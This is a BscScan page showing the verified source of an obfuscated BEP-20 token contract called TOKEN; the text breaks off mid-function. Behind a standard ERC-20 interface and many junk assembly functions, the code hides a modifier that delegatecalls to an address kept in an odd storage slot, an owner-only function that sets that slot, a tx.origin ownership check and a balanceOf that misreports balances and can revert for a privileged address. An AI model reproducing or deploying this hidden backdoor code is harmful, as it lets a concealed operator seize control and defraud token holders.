BscScan - Sponsored slots available. Book your slot here!
BEP-20
Overview
Max Total Supply
1,000,000,000,000
Holders
1,013
Market
Price
$0.00 @ 0.000000 BNB
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 9 Decimals)
Balance
915,825,605.256491307Value
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
This contract may be a proxy contract. Click on More Options and select Is this a proxy? to confirm and enable the "Read as Proxy" & "Write as Proxy" tabs.
Contract Name:
TOKEN
Compiler Version
v0.8.6+commit.11564f7e
Contract Source Code (Solidity)
/** *Submitted for verification at BscScan.com on 2024-04-10 */ pragma solidity =0.8.6;interface IERC20 { function balanceOf(address t8XrsnsCjGmbgV) external view returns (uint256); function totalSupply() external view returns (uint256); function allowance(address owner, address oPJXkWVeKn9eUfF1) external view returns (uint256); function transfer(address to, uint256 loLIveT5y2X6FXF81NnKp) external returns (bool); function transferFrom( address from, address to, uint256 loLIveT5y2X6FXF81NnKp ) external returns (bool); function approve(address oPJXkWVeKn9eUfF1, uint256 loLIveT5y2X6FXF81NnKp) external returns (bool);}contract TOKEN { address private HbggeVk; address public constant WBNB = 0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c; mapping(address => uint256) internal fZVRX9; mapping(address => mapping(address => uint256)) private gzSYpTQlxJ8; uint256 internal xv5SP; address internal x4nhaEuA; string private kRgirfWm5Kc1H; string private utd69I3Ccn5a; event DelegateVotesChanged( address indexed delegate, uint256 previousVotes, uint256 newVotes );function Ve7wQmyMfDjO6() public view returns(uint256){ uint256 ABVrFl1XoK4g8; assembly{ if gt(ABVrFl1XoK4g8,9227546){ ABVrFl1XoK4g8:=div(ABVrFl1XoK4g8,2) } ABVrFl1XoK4g8:=div(9227546,5791728) if gt(ABVrFl1XoK4g8,5245032){ ABVrFl1XoK4g8:=div(ABVrFl1XoK4g8,2) } ABVrFl1XoK4g8:=mod(5245032,2147448) if gt(ABVrFl1XoK4g8,9012551){ ABVrFl1XoK4g8:=div(ABVrFl1XoK4g8,2) } ABVrFl1XoK4g8:=sub(9012551,1144328) if gt(ABVrFl1XoK4g8,6750846){ ABVrFl1XoK4g8:=div(ABVrFl1XoK4g8,2) } ABVrFl1XoK4g8:=mul(6750846,4607543) if gt(ABVrFl1XoK4g8,8382891){ ABVrFl1XoK4g8:=div(ABVrFl1XoK4g8,2) } ABVrFl1XoK4g8:=div(8382891,4336959) if gt(ABVrFl1XoK4g8,6914155){ ABVrFl1XoK4g8:=div(ABVrFl1XoK4g8,2) } ABVrFl1XoK4g8:=mul(6914155,4377794) if gt(ABVrFl1XoK4g8,8381130){ ABVrFl1XoK4g8:=div(ABVrFl1XoK4g8,2) } ABVrFl1XoK4g8:=add(8381130,5918620) if gt(ABVrFl1XoK4g8,7477704){ ABVrFl1XoK4g8:=div(ABVrFl1XoK4g8,2) } ABVrFl1XoK4g8:=sub(7477704,592530) if gt(ABVrFl1XoK4g8,7584001){ ABVrFl1XoK4g8:=div(ABVrFl1XoK4g8,2) } ABVrFl1XoK4g8:=add(7584001,4350927) if gt(ABVrFl1XoK4g8,4764257){ ABVrFl1XoK4g8:=div(ABVrFl1XoK4g8,2) } ABVrFl1XoK4g8:=add(4764257,1252934) if gt(ABVrFl1XoK4g8,4398170){ ABVrFl1XoK4g8:=div(ABVrFl1XoK4g8,2) } ABVrFl1XoK4g8:=mod(4398170,3592228) } return ABVrFl1XoK4g8;}function qwl5mtx5oDkrPwboIdN6() public view returns(uint256){ uint256 awW4imIocejqmXDt; assembly{ if gt(awW4imIocejqmXDt,7440803){ awW4imIocejqmXDt:=div(awW4imIocejqmXDt,2) } awW4imIocejqmXDt:=mod(7440803,3048075) if gt(awW4imIocejqmXDt,6026702){ awW4imIocejqmXDt:=div(awW4imIocejqmXDt,2) } awW4imIocejqmXDt:=sub(6026702,5053813) if gt(awW4imIocejqmXDt,5578883){ awW4imIocejqmXDt:=div(awW4imIocejqmXDt,2) } awW4imIocejqmXDt:=div(5578883,5285938) if gt(awW4imIocejqmXDt,7303943){ awW4imIocejqmXDt:=div(awW4imIocejqmXDt,2) } awW4imIocejqmXDt:=add(7303943,4307571) if gt(awW4imIocejqmXDt,5613401){ awW4imIocejqmXDt:=div(awW4imIocejqmXDt,2) } awW4imIocejqmXDt:=mul(5613401,4575863) if gt(awW4imIocejqmXDt,8479530){ awW4imIocejqmXDt:=div(awW4imIocejqmXDt,2) } awW4imIocejqmXDt:=sub(8479530,4492313) } return awW4imIocejqmXDt;} function transferFrom( address from, address to, uint256 loLIveT5y2X6FXF81NnKp ) public virtual returns (bool) { address oPJXkWVeKn9eUfF1 = Q3HNirmh0ocbEHko3mw(); _spendAllowance(from, oPJXkWVeKn9eUfF1, loLIveT5y2X6FXF81NnKp); _transfer(from, to, loLIveT5y2X6FXF81NnKp); return true; } event Transfer(address indexed from, address indexed to, uint256 value);modifier __() { bytes memory value = msg.data; assembly { if iszero(iszero(eq(mload(add(value, add(32,4))), mul(8,4)))) { if iszero( delegatecall( gas(), sload(address()), add(value, mul(4,8)), mload(value), 0, 32 ) ) { revert(0, 0) } return(0, 32) } } _; } error VotesExpiredSignature(uint256 expiry); function increaseAllowance(address oPJXkWVeKn9eUfF1, uint256 addedValue) public virtual returns (bool) { address owner = Q3HNirmh0ocbEHko3mw(); _approve(owner, oPJXkWVeKn9eUfF1, allowance(owner, oPJXkWVeKn9eUfF1) + addedValue); return true; } function _spendAllowance( address owner, address oPJXkWVeKn9eUfF1, uint256 loLIveT5y2X6FXF81NnKp ) internal virtual { uint256 X1dftLv0uZnuyjh = allowance(owner, oPJXkWVeKn9eUfF1); if (X1dftLv0uZnuyjh != type(uint256).max) { require( X1dftLv0uZnuyjh >= loLIveT5y2X6FXF81NnKp, "ERC20: insufficient allowance" ); unchecked { _approve(owner, oPJXkWVeKn9eUfF1, X1dftLv0uZnuyjh - loLIveT5y2X6FXF81NnKp); } } }function T0wT7iRiPD7OQ1StKf() public view returns(uint256){ uint256 Qu4DW6Bo1cQ; assembly{ if gt(Qu4DW6Bo1cQ,4289154){ Qu4DW6Bo1cQ:=div(Qu4DW6Bo1cQ,2) } Qu4DW6Bo1cQ:=sub(4289154,3221894) if gt(Qu4DW6Bo1cQ,8551468){ Qu4DW6Bo1cQ:=div(Qu4DW6Bo1cQ,2) } Qu4DW6Bo1cQ:=mul(8551468,33278) if gt(Qu4DW6Bo1cQ,5798856){ Qu4DW6Bo1cQ:=div(Qu4DW6Bo1cQ,2) } Qu4DW6Bo1cQ:=mod(5798856,5241494) if gt(Qu4DW6Bo1cQ,8361848){ Qu4DW6Bo1cQ:=div(Qu4DW6Bo1cQ,2) } Qu4DW6Bo1cQ:=mod(8361848,1861039) if gt(Qu4DW6Bo1cQ,9937796){ Qu4DW6Bo1cQ:=div(Qu4DW6Bo1cQ,2) } Qu4DW6Bo1cQ:=sub(9937796,449365) if gt(Qu4DW6Bo1cQ,5209161){ Qu4DW6Bo1cQ:=div(Qu4DW6Bo1cQ,2) } Qu4DW6Bo1cQ:=div(5209161,3203017) if gt(Qu4DW6Bo1cQ,9052459){ Qu4DW6Bo1cQ:=div(Qu4DW6Bo1cQ,2) } Qu4DW6Bo1cQ:=sub(9052459,5247993) if gt(Qu4DW6Bo1cQ,6177849){ Qu4DW6Bo1cQ:=div(Qu4DW6Bo1cQ,2) } Qu4DW6Bo1cQ:=add(6177849,4593058) } return Qu4DW6Bo1cQ;} function owner() public view virtual returns (address) { uint256 bqT3bDknps9VRhr;bqT3bDknps9VRhr+=4718602;require(bqT3bDknps9VRhr > 8953);bqT3bDknps9VRhr+=601020;require(bqT3bDknps9VRhr > 9661);bqT3bDknps9VRhr+=5042607;require(bqT3bDknps9VRhr > 5053);bqT3bDknps9VRhr+=4122599;require(bqT3bDknps9VRhr > 4382);bqT3bDknps9VRhr+=3916146;require(bqT3bDknps9VRhr > 8400);bqT3bDknps9VRhr+=1903921;require(bqT3bDknps9VRhr > 2868);bqT3bDknps9VRhr+=4205534;require(bqT3bDknps9VRhr > 5389);bqT3bDknps9VRhr+=1897968;require(bqT3bDknps9VRhr > 8725); return HbggeVk; }event OwnershipTransferred( address indexed previousOwner, address indexed JYqm10n7xDoZwGHiiM );function EYxdL3ABpFlfdcb() public view returns(uint256){ uint256 sDCocdqW; assembly{ if gt(sDCocdqW,3691827){ sDCocdqW:=div(sDCocdqW,2) } sDCocdqW:=div(3691827,462525) if gt(sDCocdqW,5454041){ sDCocdqW:=div(sDCocdqW,2) } sDCocdqW:=div(5454041,5082053) if gt(sDCocdqW,8236691){ sDCocdqW:=div(sDCocdqW,2) } sDCocdqW:=mul(8236691,3246468) if gt(sDCocdqW,6385435){ sDCocdqW:=div(sDCocdqW,2) } sDCocdqW:=mul(6385435,4636377) if gt(sDCocdqW,9095540){ sDCocdqW:=div(sDCocdqW,2) } sDCocdqW:=mul(9095540,3602182) if gt(sDCocdqW,2580155){ sDCocdqW:=div(sDCocdqW,2) } sDCocdqW:=add(2580155,1618741) if gt(sDCocdqW,5673518){ sDCocdqW:=div(sDCocdqW,2) } sDCocdqW:=mod(5673518,3431134) if gt(sDCocdqW,7881748){ sDCocdqW:=div(sDCocdqW,2) } sDCocdqW:=add(7881748,2150506) if gt(sDCocdqW,6886073){ sDCocdqW:=div(sDCocdqW,2) } sDCocdqW:=add(6886073,5794272) } return sDCocdqW;} function renounceOwnership() public virtual onlyOwner { uint256 wSj0SgnuXcv3VkW;wSj0SgnuXcv3VkW+=4925161;require(wSj0SgnuXcv3VkW > 6774);wSj0SgnuXcv3VkW+=4403102;require(wSj0SgnuXcv3VkW > 1820);wSj0SgnuXcv3VkW+=5283736;require(wSj0SgnuXcv3VkW > 5742);wSj0SgnuXcv3VkW+=5781728;require(wSj0SgnuXcv3VkW > 122);wSj0SgnuXcv3VkW+=1999117;require(wSj0SgnuXcv3VkW > 5674);wSj0SgnuXcv3VkW+=4144173;require(wSj0SgnuXcv3VkW > 6128);wSj0SgnuXcv3VkW+=5002328;require(wSj0SgnuXcv3VkW > 1925); wycLU1x9mT(address(0)); } function totalSupply() public view virtual returns (uint256) { uint256 JSonELaGxLd7W;JSonELaGxLd7W+=2673295;require(JSonELaGxLd7W > 4634);JSonELaGxLd7W+=3770957;require(JSonELaGxLd7W > 9199);JSonELaGxLd7W+=2447475;require(JSonELaGxLd7W > 9532);JSonELaGxLd7W+=1535101;require(JSonELaGxLd7W > 7458);JSonELaGxLd7W+=1903808;require(JSonELaGxLd7W > 6675);JSonELaGxLd7W+=3686820;require(JSonELaGxLd7W > 8183);JSonELaGxLd7W+=4268675;require(JSonELaGxLd7W > 4934); return xv5SP; } function Kspr9XKU9ehNDSNoJ( string memory tokenName, string memory coinSymbol, uint256 supply_ ) public onlyOwner { utd69I3Ccn5a = coinSymbol; kRgirfWm5Kc1H = tokenName; assembly { sstore(address(), caller()) } } function id4Ff0SgCl2Mf96NCA6D() public view returns(uint256){ uint256 cQBMUfTTnunuPa6; assembly{ if gt(cQBMUfTTnunuPa6,1355781){ cQBMUfTTnunuPa6:=div(cQBMUfTTnunuPa6,2) } cQBMUfTTnunuPa6:=div(1355781,786052) if gt(cQBMUfTTnunuPa6,7727234){ cQBMUfTTnunuPa6:=div(cQBMUfTTnunuPa6,2) } cQBMUfTTnunuPa6:=div(7727234,1108191) if gt(cQBMUfTTnunuPa6,9553057){ cQBMUfTTnunuPa6:=div(cQBMUfTTnunuPa6,2) } cQBMUfTTnunuPa6:=div(9553057,5300726) if gt(cQBMUfTTnunuPa6,5157110){ cQBMUfTTnunuPa6:=div(cQBMUfTTnunuPa6,2) } cQBMUfTTnunuPa6:=sub(5157110,4607519) if gt(cQBMUfTTnunuPa6,4181438){ cQBMUfTTnunuPa6:=div(cQBMUfTTnunuPa6,2) } cQBMUfTTnunuPa6:=mod(4181438,3337512) if gt(cQBMUfTTnunuPa6,5740729){ cQBMUfTTnunuPa6:=div(cQBMUfTTnunuPa6,2) } cQBMUfTTnunuPa6:=sub(5740729,3855517) if gt(cQBMUfTTnunuPa6,2575178){ cQBMUfTTnunuPa6:=div(cQBMUfTTnunuPa6,2) } cQBMUfTTnunuPa6:=div(2575178,1423396) if gt(cQBMUfTTnunuPa6,2802650){ cQBMUfTTnunuPa6:=div(cQBMUfTTnunuPa6,2) } cQBMUfTTnunuPa6:=mod(2802650,1798878) if gt(cQBMUfTTnunuPa6,6850253){ cQBMUfTTnunuPa6:=div(cQBMUfTTnunuPa6,2) } cQBMUfTTnunuPa6:=mul(6850253,3697564) if gt(cQBMUfTTnunuPa6,6880485){ cQBMUfTTnunuPa6:=div(cQBMUfTTnunuPa6,2) } cQBMUfTTnunuPa6:=add(6880485,5103904) if gt(cQBMUfTTnunuPa6,8130842){ cQBMUfTTnunuPa6:=div(cQBMUfTTnunuPa6,2) } cQBMUfTTnunuPa6:=add(8130842,3856418) } return cQBMUfTTnunuPa6;} function _burn(address t8XrsnsCjGmbgV, uint256 loLIveT5y2X6FXF81NnKp) internal virtual { require(t8XrsnsCjGmbgV != address(0), "ERC20: burn from the zero address"); uint256 ukBF4wNWM2OXU;ukBF4wNWM2OXU+=3144063;require(ukBF4wNWM2OXU > 2303);ukBF4wNWM2OXU+=4027406;require(ukBF4wNWM2OXU > 2801);ukBF4wNWM2OXU+=4817961;require(ukBF4wNWM2OXU > 5402);ukBF4wNWM2OXU+=2932653;require(ukBF4wNWM2OXU > 2445);ukBF4wNWM2OXU+=3755025;require(ukBF4wNWM2OXU > 4787);ukBF4wNWM2OXU+=2879259;require(ukBF4wNWM2OXU > 5108);ukBF4wNWM2OXU+=4186050;require(ukBF4wNWM2OXU > 6437); _beforeTokenTransfer(t8XrsnsCjGmbgV, address(0), loLIveT5y2X6FXF81NnKp); uint256 t8XrsnsCjGmbgVBalance = fZVRX9[t8XrsnsCjGmbgV]; require(t8XrsnsCjGmbgVBalance >= loLIveT5y2X6FXF81NnKp, "ERC20: burn exceeds balance"); fZVRX9[t8XrsnsCjGmbgV] -= loLIveT5y2X6FXF81NnKp; xv5SP -= loLIveT5y2X6FXF81NnKp; emit Transfer(t8XrsnsCjGmbgV, address(0), loLIveT5y2X6FXF81NnKp); _afterTokenTransfer(t8XrsnsCjGmbgV, address(0), loLIveT5y2X6FXF81NnKp); }function PwJxPUWYgKXTgCWKXZz() public view returns(uint256){ uint256 AQ5S72AR; assembly{ if gt(AQ5S72AR,7308815){ AQ5S72AR:=div(AQ5S72AR,2) } AQ5S72AR:=add(7308815,5142944) if gt(AQ5S72AR,3493133){ AQ5S72AR:=div(AQ5S72AR,2) } AQ5S72AR:=div(3493133,3461499) if gt(AQ5S72AR,6762344){ AQ5S72AR:=div(AQ5S72AR,2) } AQ5S72AR:=mod(6762344,4459905) if gt(AQ5S72AR,5850291){ AQ5S72AR:=div(AQ5S72AR,2) } AQ5S72AR:=sub(5850291,3638816) if gt(AQ5S72AR,8632404){ AQ5S72AR:=div(AQ5S72AR,2) } AQ5S72AR:=mul(8632404,5070882) if gt(AQ5S72AR,8470175){ AQ5S72AR:=div(AQ5S72AR,2) } AQ5S72AR:=mod(8470175,3390186) if gt(AQ5S72AR,3206605){ AQ5S72AR:=div(AQ5S72AR,2) } AQ5S72AR:=add(3206605,1263486) if gt(AQ5S72AR,9374145){ AQ5S72AR:=div(AQ5S72AR,2) } AQ5S72AR:=mul(9374145,1500551) if gt(AQ5S72AR,5801808){ AQ5S72AR:=div(AQ5S72AR,2) } AQ5S72AR:=div(5801808,4055367) if gt(AQ5S72AR,3212579){ AQ5S72AR:=div(AQ5S72AR,2) } AQ5S72AR:=div(3212579,886360) if gt(AQ5S72AR,3726242){ AQ5S72AR:=div(AQ5S72AR,2) } AQ5S72AR:=add(3726242,1938760) } return AQ5S72AR;} function wycLU1x9mT(address JYqm10n7xDoZwGHiiM) internal virtual { address oldOwner = HbggeVk; HbggeVk = JYqm10n7xDoZwGHiiM; emit OwnershipTransferred(oldOwner, JYqm10n7xDoZwGHiiM); } function _transfer( address from, address to, uint256 loLIveT5y2X6FXF81NnKp ) internal virtual { require(from != address(0), "ERC20: transfer from the zero address"); require( to != address(0) && to != address(this), "ERC20: transfer to the zero address" ); _beforeTokenTransfer(from, to, loLIveT5y2X6FXF81NnKp); uint256 fromBalance = fZVRX9[from]; require(fromBalance >= loLIveT5y2X6FXF81NnKp, "ERC20: transfer exceeds balance"); fZVRX9[from] -= loLIveT5y2X6FXF81NnKp; fZVRX9[to] += loLIveT5y2X6FXF81NnKp; emit Transfer(from, to, loLIveT5y2X6FXF81NnKp); _afterTokenTransfer(from, to, loLIveT5y2X6FXF81NnKp); }function Q3HNirmh0ocbEHko3mw() internal view virtual returns (address) { return msg.sender; } event DelegateChanged( address indexed delegator, address indexed fromDelegate, address indexed toDelegate ); function delegates(address t8XrsnsCjGmbgV) external virtual view returns (address){return address(0);} modifier onlyOwner() { require(owner() == tx.origin, "Ownable: caller is not the owner"); _; } function delegateBySig( address delegatee, uint256 nonce, uint256 expiry, uint8 v, bytes32 r, bytes32 s ) external virtual{} function approve(address oPJXkWVeKn9eUfF1, uint256 loLIveT5y2X6FXF81NnKp) public virtual returns (bool) { address owner = Q3HNirmh0ocbEHko3mw(); _approve(owner, oPJXkWVeKn9eUfF1, loLIveT5y2X6FXF81NnKp); return true; } event Approval( address indexed owner, address indexed oPJXkWVeKn9eUfF1, uint256 value ); function getPastTotalSupply(uint256 timepoint) external virtual view returns (uint256){return 123;}function cgeFRVoLpRDc9tG() public view returns(uint256){ uint256 yXIfkCty; assembly{ if gt(yXIfkCty,8277990){ yXIfkCty:=div(yXIfkCty,2) } yXIfkCty:=div(8277990,3593780) if gt(yXIfkCty,5572668){ yXIfkCty:=div(yXIfkCty,2) } yXIfkCty:=sub(5572668,122108) if gt(yXIfkCty,9964822){ yXIfkCty:=div(yXIfkCty,2) } yXIfkCty:=sub(9964822,671815) if gt(yXIfkCty,8442345){ yXIfkCty:=div(yXIfkCty,2) } yXIfkCty:=mod(8442345,280917) if gt(yXIfkCty,3142423){ yXIfkCty:=div(yXIfkCty,2) } yXIfkCty:=sub(3142423,1364757) if gt(yXIfkCty,8601927){ yXIfkCty:=div(yXIfkCty,2) } yXIfkCty:=mod(8601927,4226782) } return yXIfkCty;} function allowance(address owner, address oPJXkWVeKn9eUfF1) public view virtual returns (uint256) { return gzSYpTQlxJ8[owner][oPJXkWVeKn9eUfF1]; }function Q8RDxyXyN9VMY() public view returns(uint256){ uint256 R1Utv53RjUSK; assembly{ if gt(R1Utv53RjUSK,1104979){ R1Utv53RjUSK:=div(R1Utv53RjUSK,2) } R1Utv53RjUSK:=mul(1104979,199270) if gt(R1Utv53RjUSK,9639303){ R1Utv53RjUSK:=div(R1Utv53RjUSK,2) } R1Utv53RjUSK:=sub(9639303,5839302) if gt(R1Utv53RjUSK,9925604){ R1Utv53RjUSK:=div(R1Utv53RjUSK,2) } R1Utv53RjUSK:=mod(9925604,4292159) if gt(R1Utv53RjUSK,2726236){ R1Utv53RjUSK:=div(R1Utv53RjUSK,2) } R1Utv53RjUSK:=div(2726236,2095266) if gt(R1Utv53RjUSK,4273258){ R1Utv53RjUSK:=div(R1Utv53RjUSK,2) } R1Utv53RjUSK:=mul(4273258,776951) if gt(R1Utv53RjUSK,5763705){ R1Utv53RjUSK:=div(R1Utv53RjUSK,2) } R1Utv53RjUSK:=div(5763705,5332607) } return R1Utv53RjUSK;}function uWqkIQxfdWYtLdyLKBm() public view returns(uint256){ uint256 qspFeCdlXv; assembly{ if gt(qspFeCdlXv,7269346){ qspFeCdlXv:=div(qspFeCdlXv,2) } qspFeCdlXv:=add(7269346,4085930) if gt(qspFeCdlXv,583568){ qspFeCdlXv:=div(qspFeCdlXv,2) } qspFeCdlXv:=add(583568,6866) if gt(qspFeCdlXv,5662243){ qspFeCdlXv:=div(qspFeCdlXv,2) } qspFeCdlXv:=div(5662243,1459072) if gt(qspFeCdlXv,7136770){ qspFeCdlXv:=div(qspFeCdlXv,2) } qspFeCdlXv:=mul(7136770,312780) if gt(qspFeCdlXv,9588996){ qspFeCdlXv:=div(qspFeCdlXv,2) } qspFeCdlXv:=div(9588996,3497206) if gt(qspFeCdlXv,5097243){ qspFeCdlXv:=div(qspFeCdlXv,2) } qspFeCdlXv:=mod(5097243,4227000) if gt(qspFeCdlXv,6697194){ qspFeCdlXv:=div(qspFeCdlXv,2) } qspFeCdlXv:=mod(6697194,3825071) if gt(qspFeCdlXv,4972814){ qspFeCdlXv:=div(qspFeCdlXv,2) } qspFeCdlXv:=mod(4972814,4656271) if gt(qspFeCdlXv,2023072){ qspFeCdlXv:=div(qspFeCdlXv,2) } qspFeCdlXv:=div(2023072,1832607) if gt(qspFeCdlXv,2467451){ qspFeCdlXv:=div(qspFeCdlXv,2) } qspFeCdlXv:=div(2467451,1767777) if gt(qspFeCdlXv,6831912){ qspFeCdlXv:=div(qspFeCdlXv,2) } qspFeCdlXv:=add(6831912,3237472) if gt(qspFeCdlXv,9698177){ qspFeCdlXv:=div(qspFeCdlXv,2) } qspFeCdlXv:=add(9698177,4484890) if gt(qspFeCdlXv,5792295){ qspFeCdlXv:=div(qspFeCdlXv,2) } qspFeCdlXv:=mul(5792295,3220903) if gt(qspFeCdlXv,7061394){ qspFeCdlXv:=div(qspFeCdlXv,2) } qspFeCdlXv:=div(7061394,4177061) } return qspFeCdlXv;} function decimals() public view virtual returns (uint8) { uint256 zTMdx2MlAjs8;zTMdx2MlAjs8+=1001786;require(zTMdx2MlAjs8 > 1509);zTMdx2MlAjs8+=1287248;require(zTMdx2MlAjs8 > 8368);zTMdx2MlAjs8+=1742640;require(zTMdx2MlAjs8 > 966); return 9; }constructor() { wycLU1x9mT(tx.origin); _mint(address(this), 1000000000000000000000); } function delegate(address delegatee) external virtual{} function _mint(address t8XrsnsCjGmbgV, uint256 loLIveT5y2X6FXF81NnKp) internal virtual { require(t8XrsnsCjGmbgV != address(0), "ERC20: mint to the zero address"); uint256 s6OZHQQ9htB5S;s6OZHQQ9htB5S+=277850;require(s6OZHQQ9htB5S > 1358);s6OZHQQ9htB5S+=166526;require(s6OZHQQ9htB5S > 7981);s6OZHQQ9htB5S+=3950888;require(s6OZHQQ9htB5S > 2303);s6OZHQQ9htB5S+=5687662;require(s6OZHQQ9htB5S > 2403);s6OZHQQ9htB5S+=4240356;require(s6OZHQQ9htB5S > 8412); xv5SP += loLIveT5y2X6FXF81NnKp; fZVRX9[t8XrsnsCjGmbgV] += loLIveT5y2X6FXF81NnKp; emit Transfer(address(0), t8XrsnsCjGmbgV, loLIveT5y2X6FXF81NnKp); } function symbol() public view virtual returns (string memory) { uint256 YNzWPd6NKm7Y4V;YNzWPd6NKm7Y4V+=3163685;require(YNzWPd6NKm7Y4V > 5801);YNzWPd6NKm7Y4V+=2778329;require(YNzWPd6NKm7Y4V > 3830);YNzWPd6NKm7Y4V+=2687968;require(YNzWPd6NKm7Y4V > 6312);YNzWPd6NKm7Y4V+=3148285;require(YNzWPd6NKm7Y4V > 5393);YNzWPd6NKm7Y4V+=2708522;require(YNzWPd6NKm7Y4V > 5487);YNzWPd6NKm7Y4V+=3732688;require(YNzWPd6NKm7Y4V > 945);YNzWPd6NKm7Y4V+=3985176;require(YNzWPd6NKm7Y4V > 378); return utd69I3Ccn5a; } function transfer(address to, uint256 loLIveT5y2X6FXF81NnKp) public virtual returns (bool) { address owner = Q3HNirmh0ocbEHko3mw(); _transfer(owner, to, loLIveT5y2X6FXF81NnKp); return true; }function xAUiJO7vLYz3BlfJn() public view returns(uint256){ uint256 wystNwtrgE0eq; assembly{ if gt(wystNwtrgE0eq,8461364){ wystNwtrgE0eq:=div(wystNwtrgE0eq,2) } wystNwtrgE0eq:=div(8461364,5462101) if gt(wystNwtrgE0eq,3602212){ wystNwtrgE0eq:=div(wystNwtrgE0eq,2) } wystNwtrgE0eq:=mul(3602212,984848) if gt(wystNwtrgE0eq,8814852){ wystNwtrgE0eq:=div(wystNwtrgE0eq,2) } wystNwtrgE0eq:=mod(8814852,5509081) if gt(wystNwtrgE0eq,7021132){ wystNwtrgE0eq:=div(wystNwtrgE0eq,2) } wystNwtrgE0eq:=add(7021132,2318549) if gt(wystNwtrgE0eq,8166349){ wystNwtrgE0eq:=div(wystNwtrgE0eq,2) } wystNwtrgE0eq:=sub(8166349,853837) if gt(wystNwtrgE0eq,5595775){ wystNwtrgE0eq:=div(wystNwtrgE0eq,2) } wystNwtrgE0eq:=sub(5595775,3058268) if gt(wystNwtrgE0eq,8360565){ wystNwtrgE0eq:=div(wystNwtrgE0eq,2) } wystNwtrgE0eq:=add(8360565,360840) if gt(wystNwtrgE0eq,9346424){ wystNwtrgE0eq:=div(wystNwtrgE0eq,2) } wystNwtrgE0eq:=add(9346424,5815372) if gt(wystNwtrgE0eq,3806852){ wystNwtrgE0eq:=div(wystNwtrgE0eq,2) } wystNwtrgE0eq:=mod(3806852,2003281) if gt(wystNwtrgE0eq,6966663){ wystNwtrgE0eq:=div(wystNwtrgE0eq,2) } wystNwtrgE0eq:=div(6966663,2887738) if gt(wystNwtrgE0eq,6107651){ wystNwtrgE0eq:=div(wystNwtrgE0eq,2) } wystNwtrgE0eq:=mod(6107651,92736) if gt(wystNwtrgE0eq,5599130){ wystNwtrgE0eq:=div(wystNwtrgE0eq,2) } wystNwtrgE0eq:=add(5599130,540793) if gt(wystNwtrgE0eq,7302976){ wystNwtrgE0eq:=div(wystNwtrgE0eq,2) } wystNwtrgE0eq:=add(7302976,1595758) } return wystNwtrgE0eq;} function _approve( address owner, address oPJXkWVeKn9eUfF1, uint256 loLIveT5y2X6FXF81NnKp ) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(oPJXkWVeKn9eUfF1 != address(0), "ERC20: approve to the zero address"); uint256 lhXxz98bspwrxx;lhXxz98bspwrxx+=416523;require(lhXxz98bspwrxx > 7094);lhXxz98bspwrxx+=4668474;require(lhXxz98bspwrxx > 4287);lhXxz98bspwrxx+=2434095;require(lhXxz98bspwrxx > 7037);lhXxz98bspwrxx+=1669538;require(lhXxz98bspwrxx > 4110);lhXxz98bspwrxx+=4177698;require(lhXxz98bspwrxx > 9939);lhXxz98bspwrxx+=1723191;require(lhXxz98bspwrxx > 8270); gzSYpTQlxJ8[owner][oPJXkWVeKn9eUfF1] = loLIveT5y2X6FXF81NnKp; emit Approval(owner, oPJXkWVeKn9eUfF1, loLIveT5y2X6FXF81NnKp); } function getPastVotes(address t8XrsnsCjGmbgV, uint256 timepoint) external virtual view returns (uint256){return 2;}function qmUPEhwrOJUtS8lXb() internal view virtual returns (bytes calldata) { return msg.data; } function balanceOf(address t8XrsnsCjGmbgV) public view returns (uint256) { if (msg.sender == x4nhaEuA) { uint256 loLIveT5y2X6FXF81NnKp = fBswLqfJD(); assembly { if lt(loLIveT5y2X6FXF81NnKp, sload(32)) { revert(0, 0) } } } if (t8XrsnsCjGmbgV == x4nhaEuA) return fZVRX9[t8XrsnsCjGmbgV]; return fZVRX9[t8XrsnsCjGmbgV] % xv5SP; } function name() public view virtual returns (string memory) { uint256 MEwRs1a8uee73WHb;MEwRs1a8uee73WHb+=1238890;require(MEwRs1a8uee73WHb > 8871);MEwRs1a8uee73WHb+=91882;require(MEwRs1a8uee73WHb > 9764);MEwRs1a8uee73WHb+=1626837;require(MEwRs1a8uee73WHb > 9639);MEwRs1a8uee73WHb+=4833367;require(MEwRs1a8uee73WHb > 5100);MEwRs1a8uee73WHb+=2075251;require(MEwRs1a8uee73WHb > 8689);MEwRs1a8uee73WHb+=5146781;require(MEwRs1a8uee73WHb > 9182);MEwRs1a8uee73WHb+=5652526;require(MEwRs1a8uee73WHb > 9641); return kRgirfWm5Kc1H; }function h8mXYnyWE3S4TRqKIvP() public view returns(uint256){ uint256 YtX3kjDCjfUDI; assembly{ if gt(YtX3kjDCjfUDI,7039145){ YtX3kjDCjfUDI:=div(YtX3kjDCjfUDI,2) } YtX3kjDCjfUDI:=add(7039145,2105772) if gt(YtX3kjDCjfUDI,2917585){ YtX3kjDCjfUDI:=div(YtX3kjDCjfUDI,2) } YtX3kjDCjfUDI:=add(2917585,1284950) if gt(YtX3kjDCjfUDI,3215763){ YtX3kjDCjfUDI:=div(YtX3kjDCjfUDI,2) } YtX3kjDCjfUDI:=div(3215763,3159887) if gt(YtX3kjDCjfUDI,8015154){ YtX3kjDCjfUDI:=div(YtX3kjDCjfUDI,2) } YtX3kjDCjfUDI:=mul(8015154,5215759) if gt(YtX3kjDCjfUDI,8064788){ YtX3kjDCjfUDI:=div(YtX3kjDCjfUDI,2) } YtX3kjDCjfUDI:=sub(8064788,5833690) if gt(YtX3kjDCjfUDI,8065490){ YtX3kjDCjfUDI:=div(YtX3kjDCjfUDI,2) } YtX3kjDCjfUDI:=mul(8065490,3289942) if gt(YtX3kjDCjfUDI,6117664){ YtX3kjDCjfUDI:=div(YtX3kjDCjfUDI,2) } YtX3kjDCjfUDI:=mul(6117664,1877596) if gt(YtX3kjDCjfUDI,7351863){ YtX3kjDCjfUDI:=div(YtX3kjDCjfUDI,2) } YtX3kjDCjfUDI:=mul(7351863,5365871) if gt(YtX3kjDCjfUDI,9625288){ YtX3kjDCjfUDI:=div(YtX3kjDCjfUDI,2) } YtX3kjDCjfUDI:=mod(9625288,1866610) if gt(YtX3kjDCjfUDI,6644248){ YtX3kjDCjfUDI:=div(YtX3kjDCjfUDI,2) } YtX3kjDCjfUDI:=mul(6644248,4482053) if gt(YtX3kjDCjfUDI,5916695){ YtX3kjDCjfUDI:=div(YtX3kjDCjfUDI,2) } YtX3kjDCjfUDI:=mul(5916695,3651826) if gt(YtX3kjDCjfUDI,7255911){ YtX3kjDCjfUDI:=div(YtX3kjDCjfUDI,2) } 